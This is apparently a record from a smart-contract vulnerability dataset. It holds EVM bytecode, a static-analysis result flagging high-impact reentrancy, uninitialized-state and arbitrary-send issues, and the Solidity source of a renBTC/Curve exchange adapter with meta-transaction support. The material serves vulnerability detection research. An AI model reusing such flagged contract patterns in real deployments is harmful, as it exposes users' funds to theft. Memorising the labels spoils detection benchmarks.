ae8160075461286390919063ffffffff16565b6007819055505050565b6000806000806129e460646129d6888a61239890919063ffffffff16565b61241390919063ffffffff16565b90506000612a0e6064612a00888b61239890919063ffffffff16565b61241390919063ffffffff16565b90506000612a3782612a29858c61281990919063ffffffff16565b61281990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a67858961239890919063ffffffff16565b90506000612a7e868961239890919063ffffffff16565b90506000612a95878961239890919063ffffffff16565b90506000612abe82612ab0858761281990919063ffffffff16565b61281990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612ae6816138cd565b92915050565b600081519050612afb816138cd565b92915050565b600081359050612b10816138e4565b92915050565b600081519050612b25816138e4565b92915050565b600081359050612b3a816138fb565b92915050565b600081519050612b4f816138fb565b92915050565b600060208284031215612b6b57612b6a6135ea565b5b6000612b7984828501612ad7565b91505092915050565b600060208284031215612b9857612b976135ea565b5b6000612ba684828501612aec565b91505092915050565b60008060408385031215612bc657612bc56135ea565b5b6000612bd485828601612ad7565b9250506020612be585828601612ad7565b9150509250929050565b600080600060608486031215612c0857612c076135ea565b5b6000612c1686828701612ad7565b9350506020612c2786828701612ad7565b9250506040612c3886828701612b2b565b9150509250925092565b60008060408385031215612c5957612c586135ea565b5b6000612c6785828601612ad7565b9250506020612c7885828601612b2b565b9150509250929050565b600060208284031215612c9857612c976135ea565b5b6000612ca684828501612b01565b91505092915050565b600060208284031215612cc557612cc46135ea565b5b6000612cd384828501612b16565b91505092915050565b600060208284031215612cf257612cf16135ea565b5b6000612d0084828501612b2b565b91505092915050565b600080600060608486031215612d2257612d216135ea565b5b6000612d3086828701612b40565b9350506020612d4186828701612b40565b9250506040612d5286828701612b40565b9150509250925092565b6000612d688383612d74565b60208301905092915050565b612d7d8161344b565b82525050565b612d8c8161344b565b82525050565b6000612d9d826132f1565b612da78185613314565b9350612db2836132e1565b8060005b83811015612de3578151612dca8882612d5c565b9750612dd583613307565b925050600181019050612db6565b5085935050505092915050565b612df98161345d565b82525050565b612e08816134a0565b82525050565b6000612e19826132fc565b612e238185613325565b9350612e338185602086016134b2565b612e3c816135ef565b840191505092915050565b6000612e54602383613325565b9150612e5f82613600565b604082019050919050565b6000612e77602a83613325565b9150612e828261364f565b604082019050919050565b6000612e9a602283613325565b9150612ea58261369e565b604082019050919050565b6000612ebd601b83613325565b9150612ec8826136ed565b602082019050919050565b6000612ee0601d83613325565b9150612eeb82613716565b602082019050919050565b6000612f03602183613325565b9150612f0e8261373f565b604082019050919050565b6000612f26602083613325565b9150612f318261378e565b602082019050919050565b6000612f49602983613325565b9150612f54826137b7565b604082019050919050565b6000612f6c602583613325565b9150612f7782613806565b604082019050919050565b6000612f8f602483613325565b9150612f9a82613855565b604082019050919050565b6000612fb2601183613325565b9150612fbd826138a4565b602082019050919050565b612fd181613489565b82525050565b612fe081613493565b82525050565b6000602082019050612ffb6000830184612d83565b92915050565b60006040820190506130166000830185612d83565b6130236020830184612d83565b9392505050565b600060408201905061303f6000830185612d83565b61304c6020830184612fc8565b9392505050565b600060c0820190506130686000830189612d83565b6130756020830188612fc8565b6130826040830187612dff565b61308f6060830186612dff565b61309c6080830185612d83565b6130a960a0830184612fc8565b979650505050505050565b60006020820190506130c96000830184612df0565b92915050565b600060208201905081810360008301526130e98184612e0e565b905092915050565b6000602082019050818103600083015261310a81612e47565b9050919050565b6000602082019050818103600083015261312a81612e6a565b9050919050565b6000602082019050818103600083015261314a81612e8d565b9050919050565b6000602082019050818103600083015261316a81612eb0565b9050919050565b6000602082019050818103600083015261318a81612ed3565b9050919050565b600060208201905081810360008301526131aa81612ef6565b9050919050565b600060208201905081810360008301526131ca81612f19565b9050919050565b600060208201905081810360008301526131ea81612f3c565b9050919050565b6000602082019050818103600083015261320a81612f5f565b9050919050565b6000602082019050818103600083015261322a81612f82565b9050919050565b6000602082019050818103600083015261324a81612fa5565b9050919050565b60006020820190506132666000830184612fc8565b92915050565b600060a0820190506132816000830188612fc8565b61328e6020830187612dff565b81810360408301526132a08186612d92565b90506132af6060830185612d83565b6132bc6080830184612fc8565b9695505050505050565b60006020820190506132db6000830184612fd7565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061334182613489565b915061334c83613489565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133815761338061352e565b5b828201905092915050565b600061339782613489565b91506133a283613489565b9250826133b2576133b161355d565b5b828204905092915050565b60006133c882613489565b91506133d383613489565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561340c5761340b61352e565b5b828202905092915050565b600061342282613489565b915061342d83613489565b9250828210156134405761343f61352e565b5b828203905092915050565b600061345682613469565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134ab82613489565b9050919050565b60005b838110156134d05780820151818401526020810190506134b5565b838111156134df576000848401525b50505050565b60006134f082613489565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135235761352261352e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6138d68161344b565b81146138e157600080fd5b50565b6138ed8161345d565b81146138f857600080fd5b50565b61390481613489565b811461390f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6870bacc35f3a6a410b4ecd58684bdf3201a649139a9063bcf0073bc4c47b1864736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,269
0xaeade605d01fe9a8e9c4b3aa0130a90d62167029
/** *Submitted for verification at Etherscan.io on 2020-05-18 */ /** *Submitted for verification at Etherscan.io on 2020-01-23 */ // File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol pragma solidity ^0.6.0; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); // dev: overflow } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); // dev: underflow c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); // dev: overflow } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); // dev: divide by zero c = a / b; } } contract BasicMetaTransaction { using SafeMath for uint256; event MetaTransactionExecuted(address userAddress, address payable relayerAddress, bytes functionSignature); mapping(address => uint256) nonces; function getChainID() public pure returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Main function to be called when user wants to execute meta transaction. * The actual function to be called should be passed as param with name functionSignature * Here the basic signature recovery is being used. Signature is expected to be generated using * personal_sign method. * @param userAddress Address of user trying to do meta transaction * @param functionSignature Signature of the actual function to be called via meta transaction * @param message Message to be signed by the user * @param length Length of complete message that was signed * @param sigR R part of the signature * @param sigS S part of the signature * @param sigV V part of the signature */ function executeMetaTransaction(address userAddress, bytes memory functionSignature, string memory message, string memory length, bytes32 sigR, bytes32 sigS, uint8 sigV) public payable returns(bytes memory) { require(verify(userAddress, message, length, nonces[userAddress], getChainID(), sigR, sigS, sigV), "Signer and signature do not match"); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call(abi.encodePacked(functionSignature, userAddress)); require(success, "Function call not successfull"); nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted(userAddress, msg.sender, functionSignature); return returnData; } function getNonce(address user) public view returns(uint256 nonce) { nonce = nonces[user]; } function verify(address owner, string memory message, string memory length, uint256 nonce, uint256 chainID, bytes32 sigR, bytes32 sigS, uint8 sigV) public pure returns (bool) { string memory nonceStr = uint2str(nonce); string memory chainIDStr = uint2str(chainID); bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", length, message, nonceStr, chainIDStr)); return (owner == ecrecover(hash, sigV, sigR, sigS)); } /** * Internal utility function used to convert an int to string. * @param _i integer to be converted into a string */ function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; uint256 temp = _i; while (temp != 0) { bstr[k--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(bstr); } function msgSender() internal view returns(address sender) { if(msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff) } } else { sender = msg.sender; } return sender; } // To recieve ether in contract receive() external payable { } fallback() external payable { } } // File: browser/dex-adapter-simple.sol library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function balanceOf(address _owner) external view returns (uint256 balance); } interface IGateway { function mint(bytes32 _pHash, uint256 _amount, bytes32 _nHash, bytes calldata _sig) external returns (uint256); function burn(bytes calldata _to, uint256 _amount) external returns (uint256); } interface IGatewayRegistry { function getGatewayBySymbol(string calldata _tokenSymbol) external view returns (IGateway); function getGatewayByToken(address _tokenAddress) external view returns (IGateway); function getTokenBySymbol(string calldata _tokenSymbol) external view returns (IERC20); } interface ICurveExchange { function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external; function get_dy(int128, int128 j, uint256 dx) external view returns (uint256); function calc_token_amount(uint256[3] calldata amounts, bool deposit) external returns (uint256 amount); function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity( uint256 _amount, uint256[3] calldata min_amounts ) external; function remove_liquidity_imbalance(uint256[3] calldata amounts, uint256 max_burn_amount) external; function remove_liquidity_one_coin(uint256 _token_amounts, int128 i, uint256 min_amount) external; } interface IFreeFromUpTo { function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } contract CurveExchangeAdapterSBTC is BasicMetaTransaction { using SafeMath for uint256; IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; if(chi.balanceOf(address(this)) > 0) { chi.freeFromUpTo(address(this), (gasSpent + 14154) / 41947); } else { chi.freeFromUpTo(msgSender(), (gasSpent + 14154) / 41947); } } uint256 constant N_COINS = 3; //first coin always is renBTC IERC20[N_COINS] coins; uint256[N_COINS] precisions_normalized = [1,1,1e10]; IERC20 curveToken; ICurveExchange public exchange; IGatewayRegistry public registry; event SwapReceived(uint256 mintedAmount, uint256 erc20BTCAmount, int128 j); event DepositMintedCurve(uint256 mintedAmount, uint256 curveAmount, uint256[N_COINS] amounts); event ReceiveRen(uint256 renAmount); event Burn(uint256 burnAmount); constructor(ICurveExchange _exchange, address _curveTokenAddress, IGatewayRegistry _registry, IERC20[N_COINS] memory _coins) public { exchange = _exchange; registry = _registry; curveToken = IERC20(_curveTokenAddress); for(uint256 i = 0; i < N_COINS; i++) { coins[i] = _coins[i]; require(coins[i].approve(address(exchange), uint256(-1))); } require(chi.approve(address(this), uint256(-1))); } function recoverStuck( bytes calldata encoded, uint256 _amount, bytes32 _nHash, bytes calldata _sig ) external { uint256 start = encoded.length - 32; address sender = abi.decode(encoded[start:], (address)); require(sender == msgSender()); bytes32 pHash = keccak256(encoded); uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig); require(coins[0].transfer(msgSender(), mintedAmount)); } function mintThenSwap( uint256 _minExchangeRate, uint256 _newMinExchangeRate, uint256 _slippage, int128 _j, address payable _coinDestination, uint256 _amount, bytes32 _nHash, bytes calldata _sig ) external discountCHI { //params is [_minExchangeRate, _slippage, _i, _j] //fail early so not to spend much gas? //require(_i <= 2 && _j <= 2 && _i != _j); // Mint renBTC tokens bytes32 pHash = keccak256(abi.encode(_minExchangeRate, _slippage, _j, _coinDestination, msgSender())); uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig); // Get price // compare if the exchange rate now * slippage in BPS is what user submitted as uint256 dy = exchange.get_dy(0, _j, mintedAmount); uint256 rate = dy.mul(1e8).div(precisions_normalized[uint256(_j)]).div(mintedAmount); _slippage = uint256(1e4).sub(_slippage); uint256 min_dy = dy.mul(_slippage).div(1e4); // Price is OK if (rate >= _newMinExchangeRate) { require(_j != 0); doSwap(_j, mintedAmount, min_dy, _coinDestination); } else { //Send renBTC to the User instead require(coins[0].transfer(_coinDestination, mintedAmount)); emit ReceiveRen(mintedAmount); } } function doSwap(int128 _j, uint256 _mintedAmount, uint256 _min_dy, address payable _coinDestination) internal { uint256 startBalance = coins[uint256(_j)].balanceOf(address(this)); exchange.exchange(0, _j, _mintedAmount, _min_dy); uint256 endBalance = coins[uint256(_j)].balanceOf(address(this)); uint256 bought = endBalance.sub(startBalance); //Send proceeds to the User require(coins[uint256(_j)].transfer(_coinDestination, bought)); emit SwapReceived(_mintedAmount, bought, _j); } function mintThenDeposit( address payable _wbtcDestination, uint256 _amount, uint256[N_COINS] calldata _amounts, uint256 _min_mint_amount, uint256 _new_min_mint_amount, bytes32 _nHash, bytes calldata _sig ) external discountCHI { // Mint renBTC tokens bytes32 pHash = keccak256(abi.encode(_wbtcDestination, _amounts, _min_mint_amount, msgSender())); //use actual _amount the user sent uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig); //set renBTC to actual minted amount in case the user sent less BTC to Ren uint256[N_COINS] memory receivedAmounts = _amounts; receivedAmounts[0] = mintedAmount; for(uint256 i = 1; i < N_COINS; i++) { receivedAmounts[i] = _amounts[i]; } if(exchange.calc_token_amount(_amounts, true) >= _new_min_mint_amount) { doDeposit(receivedAmounts, mintedAmount, _new_min_mint_amount, _wbtcDestination); } else { require(coins[0].transfer(_wbtcDestination, mintedAmount)); emit ReceiveRen(mintedAmount); } } function doDeposit(uint256[N_COINS] memory receivedAmounts, uint256 mintedAmount, uint256 _new_min_mint_amount, address _wbtcDestination) internal { for(uint256 i = 1; i < N_COINS; i++) { if(receivedAmounts[i] > 0) { require(coins[i].transferFrom(msgSender(), address(this), receivedAmounts[i])); } } uint256 curveBalanceBefore = curveToken.balanceOf(address(this)); exchange.add_liquidity(receivedAmounts, 0); uint256 curveBalanceAfter = curveToken.balanceOf(address(this)); uint256 curveAmount = curveBalanceAfter.sub(curveBalanceBefore); require(curveAmount >= _new_min_mint_amount); require(curveToken.transfer(_wbtcDestination, curveAmount)); emit DepositMintedCurve(mintedAmount, curveAmount, receivedAmounts); } // function mintNoSwap( // uint256 _minExchangeRate, // uint256 _newMinExchangeRate, // uint256 _slippage, // int128 _j, // address payable _wbtcDestination, // uint256 _amount, // bytes32 _nHash, // bytes calldata _sig // ) external discountCHI { // bytes32 pHash = keccak256(abi.encode(_minExchangeRate, _slippage, _j, _wbtcDestination, msgSender())); // uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig); // require(coins[0].transfer(_wbtcDestination, mintedAmount)); // emit ReceiveRen(mintedAmount); // } // function mintNoDeposit( // address payable _wbtcDestination, // uint256 _amount, // uint256[N_COINS] calldata _amounts, // uint256 _min_mint_amount, // uint256 _new_min_mint_amount, // bytes32 _nHash, // bytes calldata _sig // ) external discountCHI { // // Mint renBTC tokens // bytes32 pHash = keccak256(abi.encode(_wbtcDestination, _amounts, _min_mint_amount, msgSender())); // //use actual _amount the user sent // uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig); // require(coins[0].transfer(_wbtcDestination, mintedAmount)); // emit ReceiveRen(mintedAmount); // } function removeLiquidityThenBurn(bytes calldata _btcDestination, address _coinDestination, uint256 amount, uint256[N_COINS] calldata min_amounts) external discountCHI { uint256[N_COINS] memory balances; for(uint256 i = 0; i < coins.length; i++) { balances[i] = coins[i].balanceOf(address(this)); } require(curveToken.transferFrom(msgSender(), address(this), amount)); exchange.remove_liquidity(amount, min_amounts); for(uint256 i = 0; i < coins.length; i++) { balances[i] = coins[i].balanceOf(address(this)).sub(balances[i]); if(i == 0) continue; require(coins[i].transfer(_coinDestination, balances[i])); } // Burn and send proceeds to the User uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, balances[0]); emit Burn(burnAmount); } function removeLiquidityImbalanceThenBurn(bytes calldata _btcDestination, address _coinDestination, uint256[N_COINS] calldata amounts, uint256 max_burn_amount) external discountCHI { uint256[N_COINS] memory balances; for(uint256 i = 0; i < coins.length; i++) { balances[i] = coins[i].balanceOf(address(this)); } uint256 _tokens = curveToken.balanceOf(msgSender()); if(_tokens > max_burn_amount) { _tokens = max_burn_amount; } require(curveToken.transferFrom(msgSender(), address(this), _tokens)); exchange.remove_liquidity_imbalance(amounts, max_burn_amount.mul(101).div(100)); _tokens = curveToken.balanceOf(address(this)); require(curveToken.transfer(_coinDestination, _tokens)); for(uint256 i = 0; i < coins.length; i++) { balances[i] = coins[i].balanceOf(address(this)).sub(balances[i]); if(i == 0) continue; require(coins[i].transfer(_coinDestination, balances[i])); } // Burn and send proceeds to the User uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, balances[0]); emit Burn(burnAmount); } //always removing in renBTC, else use normal method function removeLiquidityOneCoinThenBurn(bytes calldata _btcDestination, uint256 _token_amounts, uint256 min_amount, uint8 _i) external discountCHI { uint256 startRenbtcBalance = coins[0].balanceOf(address(this)); require(curveToken.transferFrom(msgSender(), address(this), _token_amounts)); exchange.remove_liquidity_one_coin(_token_amounts, _i, min_amount); uint256 endRenbtcBalance = coins[0].balanceOf(address(this)); uint256 renbtcWithdrawn = endRenbtcBalance.sub(startRenbtcBalance); // Burn and send proceeds to the User uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, renbtcWithdrawn); emit Burn(burnAmount); } function swapThenBurn(bytes calldata _btcDestination, uint256 _amount, uint256 _minRenbtcAmount, uint8 _i) external discountCHI { require(coins[_i].transferFrom(msgSender(), address(this), _amount)); uint256 startRenbtcBalance = coins[0].balanceOf(address(this)); exchange.exchange(_i, 0, _amount, _minRenbtcAmount); uint256 endRenbtcBalance = coins[0].balanceOf(address(this)); uint256 renbtcBought = endRenbtcBalance.sub(startRenbtcBalance); // Burn and send proceeds to the User uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, renbtcBought); emit Burn(burnAmount); } }
0x6080604052600436106100e15760003560e01c80637b1039991161007f578063afd1fe0311610059578063afd1fe0314610867578063c92aecc41461090e578063d039fca114610965578063d2f7265a14610c08576100e8565b80637b1039991461056a578063a318f9de146105c1578063a461e5fa1461069a576100e8565b806329349116116100bb578063293491161461033a5780632d0335ab14610420578063564b81ef146104855780635c72f616146104b0576100e8565b80630bfe8b92146100ea57806318274dd6146101d95780631ad8e63614610293576100e8565b366100e857005b005b3480156100f657600080fd5b506101d76004803603608081101561010d57600080fd5b810190808035906020019064010000000081111561012a57600080fd5b82018360208201111561013c57600080fd5b8035906020019184600183028401116401000000008311171561015e57600080fd5b909192939192939080359060200190929190803590602001909291908035906020019064010000000081111561019357600080fd5b8201836020820111156101a557600080fd5b803590602001918460018302840111640100000000831117156101c757600080fd5b9091929391929390505050610c5f565b005b3480156101e557600080fd5b50610291600480360360c08110156101fc57600080fd5b810190808035906020019064010000000081111561021957600080fd5b82018360208201111561022b57600080fd5b8035906020019184600183028401116401000000008311171561024d57600080fd5b9091929391929390803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908060600190919291929080359060200190929190505050610ff3565b005b34801561029f57600080fd5b50610338600480360360808110156102b657600080fd5b81019080803590602001906401000000008111156102d357600080fd5b8201836020820111156102e557600080fd5b8035906020019184600183028401116401000000008311171561030757600080fd5b90919293919293908035906020019092919080359060200190929190803560ff169060200190929190505050611cc8565b005b34801561034657600080fd5b5061041e600480360361010081101561035e57600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035600f0b9060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001906401000000008111156103da57600080fd5b8201836020820111156103ec57600080fd5b8035906020019184600183028401116401000000008311171561040e57600080fd5b9091929391929390505050612536565b005b34801561042c57600080fd5b5061046f6004803603602081101561044357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d18565b6040518082815260200191505060405180910390f35b34801561049157600080fd5b5061049a612d60565b6040518082815260200191505060405180910390f35b3480156104bc57600080fd5b50610568600480360360c08110156104d357600080fd5b81019080803590602001906401000000008111156104f057600080fd5b82018360208201111561050257600080fd5b8035906020019184600183028401116401000000008311171561052457600080fd5b9091929391929390803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080606001909192919290505050612d6d565b005b34801561057657600080fd5b5061057f613761565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105cd57600080fd5b5061069860048036036101208110156105e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190806060019091929192908035906020019092919080359060200190929190803590602001909291908035906020019064010000000081111561065457600080fd5b82018360208201111561066657600080fd5b8035906020019184600183028401116401000000008311171561068857600080fd5b9091929391929390505050613787565b005b3480156106a657600080fd5b5061084d60048036036101008110156106be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156106fb57600080fd5b82018360208201111561070d57600080fd5b8035906020019184600183028401116401000000008311171561072f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561079257600080fd5b8201836020820111156107a457600080fd5b803590602001918460018302840111640100000000831117156107c657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190803590602001909291908035906020019092919080359060200190929190803560ff169060200190929190505050613f78565b604051808215151515815260200191505060405180910390f35b34801561087357600080fd5b5061090c6004803603608081101561088a57600080fd5b81019080803590602001906401000000008111156108a757600080fd5b8201836020820111156108b957600080fd5b803590602001918460018302840111640100000000831117156108db57600080fd5b90919293919293908035906020019092919080359060200190929190803560ff1690602001909291905050506141d1565b005b34801561091a57600080fd5b50610923614a24565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b8d600480360360e081101561097b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156109b857600080fd5b8201836020820111156109ca57600080fd5b803590602001918460018302840111640100000000831117156109ec57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610a4f57600080fd5b820183602082011115610a6157600080fd5b80359060200191846001830284011164010000000083111715610a8357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610ae657600080fd5b820183602082011115610af857600080fd5b80359060200191846001830284011164010000000083111715610b1a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919080359060200190929190803560ff169060200190929190505050614a36565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bcd578082015181840152602081019050610bb2565b50505050905090810190601f168015610bfa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c1457600080fd5b50610c1d614e59565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600060208787905003905060008787838180821115610c7d57600080fd5b82811115610c8a57600080fd5b6001820284019350818103925050506020811015610ca757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050509050610cd8614e7f565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610d0f57600080fd5b60008888604051808383808284378083019250505092505050604051809103902090506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004018080602001828103825260038152602001807f425443000000000000000000000000000000000000000000000000000000000081525060200191505060206040518083038186803b158015610dd857600080fd5b505afa158015610dec573d6000803e3d6000fd5b505050506040513d6020811015610e0257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663159ab14d838a8a8a8a6040518663ffffffff1660e01b815260040180868152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050602060405180830381600087803b158015610ea957600080fd5b505af1158015610ebd573d6000803e3d6000fd5b505050506040513d6020811015610ed357600080fd5b810190808051906020019092919050505090506001600060038110610ef457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610f39614e7f565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610fa357600080fd5b505af1158015610fb7573d6000803e3d6000fd5b505050506040513d6020811015610fcd57600080fd5b8101908080519060200190929190505050610fe757600080fd5b50505050505050505050565b60005a9050611000615a59565b60008090505b6003811015611117576001816003811061101c57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110ba57600080fd5b505afa1580156110ce573d6000803e3d6000fd5b505050506040513d60208110156110e457600080fd5b810190808051906020019092919050505082826003811061110157fe5b6020020181815250508080600101915050611006565b506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231611160614e7f565b6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156111c057600080fd5b505afa1580156111d4573d6000803e3d6000fd5b505050506040513d60208110156111ea57600080fd5b8101908080519060200190929190505050905083811115611209578390505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd61124f614e7f565b30846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156112ed57600080fd5b505af1158015611301573d6000803e3d6000fd5b505050506040513d602081101561131757600080fd5b810190808051906020019092919050505061133157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fdaea0c86611397606461138960658a614f3490919063ffffffff16565b614f6190919063ffffffff16565b6040518363ffffffff1660e01b81526004018083600360200280828437600081840152601f19601f82011690508083019250505082815260200192505050600060405180830381600087803b1580156113ef57600080fd5b505af1158015611403573d6000803e3d6000fd5b50505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156114a657600080fd5b505afa1580156114